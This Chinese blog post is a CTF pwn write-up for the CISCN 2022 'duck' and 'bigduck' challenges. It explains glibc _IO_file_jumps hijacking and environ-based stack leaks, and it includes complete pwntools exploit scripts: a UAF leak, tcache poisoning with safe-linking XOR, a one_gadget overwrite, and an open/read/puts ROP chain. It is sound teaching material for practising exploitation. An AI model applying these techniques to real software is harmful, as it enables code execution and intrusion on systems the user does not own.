首页 > 其他分享 >pwn知识——劫持IO-file_jumps攻击和environ攻击

pwn知识——劫持IO-file_jumps攻击和environ攻击

时间:2024-05-11 22:08:06浏览次数:16  
标签:p64 攻击 jumps libc add base IO recvuntil

导言

哎,异或fd指针真是令人讨厌

IO_file_jumps

_IO_lock_t _IO_stdfile,_IO_wide_data(针对宽字节的虚函数表),_IO_FILE_plus(含有stdin,stdout)三者均被定义为IO_file_jumps

原理

IO_file_jumps是一个全局变量符号,存有以下符号
image
这个结构体主要跟缓冲区有关,比如调用puts,fread,fgets,exit(这个会触发_IO_flush_all_lockp,不过一般低版本才能利用,高版本已经变成了_exit,不会触发)之类的函数时,会根据_IO_FILE结构体调用对应的函数,常常会用到_IO_file_jumps
我们根据情况,将对应的函数指针修改为system('/bin/sh'),岂不是getshell?

例题:[CISCN 2022 华东北]duck

checksec

image

源审

主函数是经典的菜单选择
image

add

image

delete

image

show

image

edit

image
总结就是经典的UAF漏洞,不存在sandbox,但由于是GLIBC2.34高版本hook函数基本都被扬了,没法像之前那样攻击了,因为有puts函数会调用IO_file_jumps,所以我们将目标定为IO_file_jumps进行伪造

Payload实现

leak_libc_and_heap

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

p = process('./duck')
#p = remote('node4.anna.nssctf.cn',28015)
elf = ELF('./duck')
libc = ELF('./libc.so.6')

def add():
    p.recvuntil(b'Choice: ')
    p.sendline(b'1')

def delete(index):
    p.recvuntil(b'Choice: ')
    p.sendline(b'2')
    p.recvuntil(b'Idx: ')
    p.sendline(str(index))

def show(index):
    p.recvuntil(b'Choice: ')
    p.sendline(b'3')
    p.recvuntil(b'Idx: \n')
    p.sendline(str(index))

def edit(index,content):
    p.recvuntil(b'Choice: ')
    p.sendline(b'4')
    p.recvuntil(b'Idx: ')
    p.sendline(str(index))
    p.recvuntil(b'Size: ')
    p.sendline(str(len(content)))
    p.recvuntil(b'Content: ')
    p.send(content)
#leak libc
for i in range(8): #0-7
    add()
add() #8
for i in range(8):
    delete(i)
show(7)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x60
log.success('main_arena==>'+hex(main_arena))
libc_base = main_arena - 0x1f2c60
log.success('libc_base==>'+hex(libc_base))
IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']
log.success('IO_file_jumps==>'+hex(IO_file_jumps))
one_gadget = libc_base + 0xda864
#leak heap_base
show(0)
heap_base = u64(p.recv(5).ljust(8,b'\x00')) << 12
log.success('heap_base==>'+hex(heap_base))

最开始的步骤都很基础,将tcache填满,再free一个进入unsorted_bin从而泄露main_arena+96,进而泄露libc_base来获取各个函数的地址。在高版本libc,heap的fd指针会有加密,需要移位,有时还要异或
现在的接收都是u64(p.recv(5).ljust(8,b'\x00')) << 12
而修改heap的fd指针则是(heap_addr >> 12)^target_addr

伪造_IO_file_jumps结构体

for i in range(5):
    add() #9-13
edit(1,p64((heap_base >> 12)^IO_file_jumps) + p64(0))

因为之前free了七个chunk,为了不破坏bins的结构,先取出五个chunk,然后再进行修改
add前
image
add时
image
edit后
image
所以我们再申请两个出来后就成功伪造了_IO_file_jumps的chunk,我们就可以对它进行修改了

修改_IO_file_jumps结构体

add()
add()
edit(15,p64(0) * 3 + p64(one_gadget))

我们首先看看修改前结构体的内容
image
可以看到,跟我们原理里介绍的一样,那么我们将它edit后呢?
image
可以看到,__overflow被覆盖为了onegadget的地址,原本调用puts的流程是puts->_IO_putc->_IO_overflow,这下_IO_overflow变成了onegadget,意味着执行puts的时候就getshell了
image
image
image
image
这就是完整的劫持流程啦,执行这个后就getshell了

完整Payload

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

p = process('./duck')
#p = remote('node4.anna.nssctf.cn',28015)
elf = ELF('./duck')
libc = ELF('./libc.so.6')

def add():
    p.recvuntil(b'Choice: ')
    p.sendline(b'1')

def delete(index):
    p.recvuntil(b'Choice: ')
    p.sendline(b'2')
    p.recvuntil(b'Idx: ')
    p.sendline(str(index))

def show(index):
    p.recvuntil(b'Choice: ')
    p.sendline(b'3')
    p.recvuntil(b'Idx: \n')
    p.sendline(str(index))

def edit(index,content):
    p.recvuntil(b'Choice: ')
    p.sendline(b'4')
    p.recvuntil(b'Idx: ')
    p.sendline(str(index))
    p.recvuntil(b'Size: ')
    p.sendline(str(len(content)))
    p.recvuntil(b'Content: ')
    p.send(content)

for i in range(8):
    add()
#gdb.attach(p)
add()
for i in range(8):
    delete(i)
#gdb.attach(p)
show(7)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x60
log.success('main_arena==>'+hex(main_arena))
libc_base = main_arena - 0x1f2c60
log.success('libc_base==>'+hex(libc_base))
IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']
log.success('IO_file_jumps==>'+hex(IO_file_jumps))
one_gadget = libc_base + 0xda864

show(0)
heap_base = u64(p.recv(5).ljust(8,b'\x00')) << 12
log.success('heap_base==>'+hex(heap_base))

#gdb.attach(p)
for i in range(5):
    add()
#gdb.attach(p)
edit(1,p64((heap_base >> 12)^IO_file_jumps) + p64(0))
add()
#gdb.attach(p)
add()
gdb.attach(p)
edit(15,p64(0) * 3 + p64(one_gadget))

p.interactive()

environ

原理

environ,顾名思义,就是环境变量,一般来说就是以下这些玩意等等
image
image
我们可以通过environ泄露出栈地址,根据相对偏移计算出当前栈的地址的ret,如果能修改ret,我们就有很多操作空间

例题:[CISCN 2022 华东北]bigduck

保护检查

checksec和源审和上题的duck是一样的,只不过版本不一样,这题的版本是libc-2.33,此时的hook函数还没被扬,但是本题开了sanbox,只能用orw
image

Payload实现

leak_libc_and_heap

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

p = process('./bigduck')
#p = remote('node4.anna.nssctf.cn', 28603)
elf = ELF('./bigduck')
libc = ELF('./libc.so.6')

def add():
    p.recvuntil(b'Choice: ')
    p.sendline(b'1')

def delete(index):
    p.recvuntil(b'Choice: ')
    p.sendline(b'2')
    p.recvuntil(b'Idx: ')
    p.sendline(str(index))

def show(index):
    p.recvuntil(b'Choice: ')
    p.sendline(b'3')
    p.recvuntil(b'Idx: \n')
    p.sendline(str(index))

def edit(index,content):
    p.recvuntil(b'Choice: ')
    p.sendline(b'4')
    p.recvuntil(b'Idx: ')
    p.sendline(str(index))
    p.recvuntil(b'Size: ')
    p.sendline(str(len(content)))
    p.recvuntil(b'Content: ')
    p.send(content)

for i in range(8):
    add()
add()
for i in range(8):
    delete(i)
edit(7, b'a') #重点,不然有\x00截断无法输出main_arena
show(7)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x60 - 0x61
log.success('main_arena==>'+hex(main_arena))
malloc_hook = main_arena - 0x10
log.success('malloc_hook==>'+hex(malloc_hook))

libc_base = malloc_hook - libc.sym['__malloc_hook']
log.success('libc_base==>'+hex(libc_base))
environ = libc_base + libc.sym['_environ']
log.success('environ==>'+hex(environ))

show(0)
heap_base = u64(p.recv(5).ljust(8,b'\x00')) << 12
log.success('heap_base==>'+hex(heap_base))

跟上题一样的步骤

泄露stack

stack_ptr = (heap_base >> 12) ^ environ
log.success('stack_ptr==>'+hex(stack_ptr))
gdb.attach(p)
edit(6,p64(stack_ptr))
add()
add()
show(10)
stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success('stack==>'+hex(stack))
stack_base = stack - 0x138
log.success('stack_base==>'+hex(stack_base))

can can edit之后
image
跟原理上展示一样,再add两次伪造environ成chunk后即可puts出栈地址,从而计算出当前函数(edit)的ret地址,再进行修改
image
image
image
对比一下就发现没有错,在后续中修改edit_ret即可

orw

pop_rdi = libc_base + 0x28a55
pop_rsi = libc_base + 0x2a4cf
pop_rdx = libc_base + 0xc7f32
pop_ret = libc_base + 0x26699
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
flag_addr = heap_base + 0x5d0

edit(3,b'/flag\x00')

orw = p64(0) * 3 + p64(pop_ret) + p64(pop_rdi) + p64(flag_addr) +p64(pop_rsi) + p64(0) + p64(open_addr)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x300) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
orw += p64(pop_rdi) + p64(heap_base + 0x300) + p64(puts_addr)

delete(8)
delete(9)
edit(9, p64((heap_base >> 12)^stack_base))
add()
add()
edit(12,orw)
p.interactive()

在对应的heap地址上edit出flag,记住该地址赋给rdi,实现open的打开,后续的都是基础的操作,因为高版本setcontext函数有所改变,笔者尚不熟悉,所以没有用,而是用这种普通的orw。
照旧先free两个进行链子改造
image
add两个后申请到了栈上,可以修改栈内容,由于rsp距rbp有0x10个字节,因此覆盖0x18后链上orw即可
image
image
基本就跟getshell了差不多。不过这里用不了write函数,会通不过某个检测

总结

我的脑袋——
我好想你——
我快困死了——

标签:p64,攻击,jumps,libc,add,base,IO,recvuntil
From: https://www.cnblogs.com/falling-dusk/p/18187251

相关文章

  • 系统IO下查看bmp照片信息
    IO编程用系统IO实现查看bmp照片信息设计程序,利用系统IO读取磁盘上指定BMP图片的宽和高,以及BMP图片的大小,并输出到终端,要求图片名称通过命令行传递。/******************************************************************************filename:2024-05-11_GetBmpInfo.c......
  • 树莓派4b openwrt 安装RPI.GPIO控制PWM风扇
    1、安装python3#opkgupdate#opkginstallpython3-base#opkginstallpython3#opkginstallpython3-pip#opkginstallpython3-dev2、安装RPI.GPIO#pipinstallrpi.gpio3、GPIO控制PWM风扇###交互模式演示代码#pythonimportRPi.GPIOasGPIO#GPIO设置GPIO.s......
  • 记一次由sequence引发的enq sv-contention等待事件
    转自:https://www.cnblogs.com/lijiaman/p/10423272.html#4237610数据库版本:11.2.0.4RAC(1)问题现象从EM里面可以看到,在23号早上8:45~8:55时,数据库等待会话暴增,大约到了80个会话。通过查看EM的SQL信息,发现等待产生于SQL语句selectTIMEKEYID.nextvalfromdual (二)问题追踪......
  • gradio 将 webui 从 127.0.0.1 映射到局域网 IP
    在局域网中,假设当前用Python调试gradiowebui的设备IP地址是192.168.1.101,若app.py内容如下:importgradioasgrwithgr.Blocks()asdemo:#TODO:demo.launch(server_name="0.0.0.0")运行即可实现将127.0.0.1:7860映射到192.168.1.101:7860其实是launch......
  • luogu P4342[IOI1998]Polygon
    阅读前需深剖析分系列是记录我个人的做题思路,实现过程的全面分析,存在内容可靠、思路健全、分析到位、试错纠错等优于一般题解的特征,其中,Quest部分表示探索问题,我会在此提出做题时的想法、问题,并在内容中得到解决,因此建议从上到下按序浏览,以防出现思路断层,内容不衔接的情况,感谢理......
  • 文件IO
    文件IO记录常用的一些IO接口标准IOFILE*fopen(constchar*path,constchar*mode);/***********************************************************@path 操作的文件@mode 操作的权限 ("r","r+","w","w+","a","a+")返回值 成功 文......
  • 利用系统IO读取磁盘上指定BMP图片的宽和高以及大小
    文件IO代码/***************************************************************************************filename:1.c*author: [email protected]*date:2024/05/11*function: 利用系统IO读取磁盘上指定BMP图片的宽和高以及大小*......
  • Bionet_WIFI使用指南
    Bionet_WIFI使用指南适用对象:文宣楼A406课题组成员A406房间包含两个独立的路由器,分别有1000Mb的带宽。其SSID(名字)如下:使用的时候,应选择排名比较靠前的WIFI使用,越靠前来说信号越好,速度越快。获取本机的真实MAC地址路由器开启了连接管控,可以找谭然、或者我来执行绑定和连接。......
  • next_permutation 用法
    next_permutation()全排列函数·.next_permutation(start,end)返回下一个排列·.prev_permutation(start,end)返回上一个排列(均按字典序排序)当当前序列(数组)不存在下一个排列时,函数返回false,否则返回truenext_permutation(num,num+n)函数是对数组num中的前n个元素进行全排列,同时......
  • Vue项目中有封装过axios吗?主要是封装哪方面的?
    一、axios是什么axios 是一个轻量的 HTTP客户端基于 XMLHttpRequest 服务来执行 HTTP 请求,支持丰富的配置,支持 Promise,支持浏览器端和 Node.js 端。自Vue2.0起,尤大宣布取消对 vue-resource 的官方推荐,转而推荐 axios。现在 axios 已经成为大部分 Vue 开发者的......